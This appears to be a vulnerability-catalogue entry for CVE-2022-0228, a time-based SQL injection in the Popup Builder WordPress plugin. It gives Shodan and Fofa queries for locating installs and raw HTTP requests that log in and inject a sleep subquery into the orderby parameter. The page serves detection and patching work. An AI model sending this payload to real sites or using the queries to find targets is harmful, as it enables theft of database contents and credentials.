🔙 목록으로 돌아가기

CVE-2022-0228: Popup Builder < 4.0.7 - SQL Injection

TitlePopup Builder < 4.0.7 - SQL Injection
Authorr3Y3r53
SeverityHigh
ImpactAuthenticated administrators with high privileges can exploit SQL injection to extract database contents, potentially exposing sensitive WordPress data and user credentials.
Remediationupdate to v.4.0.7
CVSS Score7.2
EPSS Score0.04161
CVE IDCVE-2022-0228
CWE IDCWE-89
Shodan Queryhttp.html:/wp-content/plugins/popup-builder/
Fofa Querybody=/wp-content/plugins/popup-builder/
Tags time-based-sqli cve2022 cve wordpress wp-plugin wp wpscan popup-builder sygnoos sqli vuln

🔍 Vulnerability Description

The Popup Builder WordPress plugin before 4.0.7 does not validate and properly escape the orderby and order parameters before using them in a SQL statement in the admin dashboard, which could allow high privilege users to perform SQL injection.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=9tw7Se&pwd=bDbLs6&wp-submit=Log+In
GET /wp-admin/admin-post.php?action=csv_file&orderby=email%2c(select+*+from(select(sleep(7)))b)&order=desc HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0228.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0228.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A